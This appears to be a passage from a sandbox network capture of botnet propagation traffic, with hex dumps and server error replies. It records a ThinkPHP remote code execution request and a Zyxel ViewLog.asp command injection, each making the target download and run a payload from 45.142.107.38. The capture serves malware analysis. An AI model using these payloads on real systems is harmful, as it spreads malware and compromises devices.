Mar 4, 2024 15:08:07.300472021 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:07 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 4, 2024 15:08:07.484184027 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:07 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 4, 2024 15:08:07.692240953 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:07 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.13	49536	112.28.220.91	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:06.609976053 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:07.313736916 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:07 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 4, 2024 15:08:07.413801908 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:07 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 4, 2024 15:08:07.621862888 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:07 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.13	43928	94.20.96.141	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:08.444031000 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:09.718883991 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:09.967811108 CET	313	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.13	37912	112.30.220.134	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.382883072 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:10.104856014 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.13	58602	95.234.80.146	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.395426035 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:10.486907959 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.13	58340	94.122.108.104	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.395457983 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.13	40060	95.86.108.117	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.395505905 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:13.430910110 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.13	42362	94.29.204.113	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.423145056 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:09.676867962 CET	313	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.13	36108	88.215.22.216	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.566857100 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:09.744941950 CET	711	IN	HTTP/1.0 404 Not Found !!! Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-type: text/html <html> <head> <title>404 Not Found !!!</title> </head><body><div align="center"><center><table border="1" cellspacing="0" width="100%"> <tr> <td width="100%" bgcolor="#0000A0"> <p align="center"><font color="#FFFFFF" face="Arial"> <strong>404 Not Found !!!</strong></font></td> </tr> <tr> <td width="100%" bgcolor="#F3F3F3" bordercolor="#000080" bordercolordark="#000080"> <p align="center"><font face="Times New Romain" color="#000000"> <strong>The requested URL was not found on this server.</strong></font></td> </tr></table></body></html> Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.13	51390	112.28.240.200	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.569591999 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:10.504040003 CET	1286	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:10 GMT Content-Type: text/html Content-Length: 2833 Connection: close x-ws-request-id: 65e5d5ca_PS-HFE-01Eyg47_31365-6807 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 35 25 20 61 75 74 6f 20 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 20 31 38 70 78 7d 2e 50 7b 6d 61 72 67 69 6e 3a 30 20 32 32 25 7d 2e 4f 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 7d 2e 4e 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 4d 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 33 30 70 78 20 30 7d 2e 4c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 36 30 70 78 7d 2e 4b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b 63 6f 6c 6f 72 3a 23 46 39 30 7d 2e 4a 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 49 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 7d 2e 48 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 7d 2e 47 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 7d 2e 46 7b 77 69 64 74 68 3a 32 33 30 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 45 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 7d 2e 44 7b 6d 61 72 67 69 6e 3a 38 70 78 20 30 20 30 20 2d 32 30 70 78 7d 2e 43 7b 63 6f 6c 6f 72 3a 23 33 43 46 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 42 7b 63 6f 6c 6f 72 3a 23 39 30 39 30 39 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 7d 2e 41 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 30 70 78 7d 2e 68 69 64 65 5f 6d 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 70 22 20 63 6c 61 73 73 3d 22 50 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4b 22 3e 34 30 30 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4f 20 49 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 64 69 76 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 4a 20 41 20 4c 22 3e 45 72 72 6f 72 20 54 69 6d 65 73 3a 20 4d 6f 6e 2c 20 30 34 20 4d 61 72 20 32 30 32 34 20 31 34 3a 30 38 3a 31 30 20 47 4d 54 0a 09 09 09 09 3c 62 72 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 46 22 3e 49 50 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 3c 2f 73 70 61 6e 3e 4e 6f 64 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3a 20 50 53 2d 48 46 45 2d 30 31 45 79 67 34 37 0a 09 09 09 09 3c 62 72 3e 55 52 4c 3a 20 68 74 74 70 3a 2f 2f 2f 69 6e 64 65 78 2e 70 68 70 3f 73 3d 2f 69 6e 64 65 78 2f 09 68 69 6e 6b 07 70 70 2f 69 6e 76 6f 6b 65 66 75 6e 63 74 69 6f 6e 26 61 6d 70 3b 66 75 6e 63 74 69 6f 6e 3d 63 61 6c 6c 5f 75 73 65 72 5f 66 75 6e 63 5f 61 72 72 61 79 26 61 6d 70 3b 76 61 72 73 5b 30 5d 3d 73 68 65 6c 6c 5f 65 78 65 63 26 61 6d 70 3b 76 61 72 73 5b 31 5d 5b 5d 3d 27 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 62 69 Data Ascii: <!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>400 Bad Request</title><style type="text/css">body{margin:5% auto 0 auto;padding:0 18px}.P{margin:0 22%}.O{margin-top:20px}.N{margin-top:10px}.M{margin:10px 0 30px 0}.L{margin-bottom:60px}.K{font-size:25px;color:#F90}.J{font-size:14px}.I{font-size:20px}.H{font-size:18px}.G{font-size:16px}.F{width:230px;float:left}.E{margin-top:5px}.D{margin:8px 0 0 -20px}.C{color:#3CF;cursor:pointer}.B{color:#909090;margin-top:15px}.A{line-height:30px}.hide_me{display:none}</style></head><body><div id="p" class="P"><div class="K">400</div><div class="O I">Bad Request</div><p class="J A L">Error Times: Mon, 04 Mar 2024 14:08:10 GMT<br><span class="F">IP: 154.16.192.203</span>Node information: PS-HFE-01Eyg47<br>URL: http:///index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bi
Mar 4, 2024 15:08:10.504144907 CET	1286	IN	Data Raw: 6e 73 2f 78 38 36 20 2d 4f 20 74 68 6f 6e 6b 70 68 70 20 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 68 6f 6e 6b 70 68 70 20 3b 20 2e 2f 74 68 6f 6e 6b 70 68 70 20 54 68 69 6e 6b 50 48 50 20 3b 20 72 6d 20 2d 72 66 20 74 68 69 6e 6b 70 68 70 27 0a 09 Data Ascii: ns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'<br>Request-Id: 65e5d5ca_PS-HFE-01Eyg47_31365-6807<br><br>Check:<span class="C G" onclick="s(0)">Details</span></p></div><div id="d" clas
Mar 4, 2024 15:08:10.504271984 CET	460	IN	PUT requests</li><li class="D">Illegal character in hostname;underscores are not allowed</li><li class="D">Range Invalid</li></ul></div><a class="N C" href="#" onclick="s(1)">return</a></div><script type="text/javascript">function e(i) {return document.getElementById(i);}function d(i, t) {e(i).style.display = (t ? 'block': 'none');}function s(e) {d('p', e);d('d', !e);}</script></body></html Data Raw: Data Ascii:
Mar 4, 2024 15:08:10.607172012 CET	460	IN	PUT requests</li><li class="D">Illegal character in hostname;underscores are not allowed</li><li class="D">Range Invalid</li></ul></div><a class="N C" href="#" onclick="s(1)">return</a></div><script type="text/javascript">function e(i) {return document.getElementById(i);}function d(i, t) {e(i).style.display = (t ? 'block': 'none');}function s(e) {d('p', e);d('d', !e);}</script></body></html Data Raw: Data Ascii:
Mar 4, 2024 15:08:10.822292089 CET	460	IN	PUT requests</li><li class="D">Illegal character in hostname;underscores are not allowed</li><li class="D">Range Invalid</li></ul></div><a class="N C" href="#" onclick="s(1)">return</a></div><script type="text/javascript">function e(i) {return document.getElementById(i);}function d(i, t) {e(i).style.display = (t ? 'block': 'none');}function s(e) {d('p', e);d('d', !e);}</script></body></html Data Raw: Data Ascii:
Mar 4, 2024 15:08:11.029874086 CET	460	IN	PUT requests</li><li class="D">Illegal character in hostname;underscores are not allowed</li><li class="D">Range Invalid</li></ul></div><a class="N C" href="#" onclick="s(1)">return</a></div><script type="text/javascript">function e(i) {return document.getElementById(i);}function d(i, t) {e(i).style.display = (t ? 'block': 'none');}function s(e) {d('p', e);d('d', !e);}</script></body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.13	51392	112.28.240.200	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:09.588493109 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:10.460952044 CET	1286	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:10 GMT Content-Type: text/html Content-Length: 2833 Connection: close x-ws-request-id: 65e5d5ca_PS-HFE-01Eyg47_30675-4263 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 35 25 20 61 75 74 6f 20 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 20 31 38 70 78 7d 2e 50 7b 6d 61 72 67 69 6e 3a 30 20 32 32 25 7d 2e 4f 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 7d 2e 4e 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 4d 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 33 30 70 78 20 30 7d 2e 4c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 36 30 70 78 7d 2e 4b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b 63 6f 6c 6f 72 3a 23 46 39 30 7d 2e 4a 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 49 7b 66 6f 6e 74 2d 73 69 7a 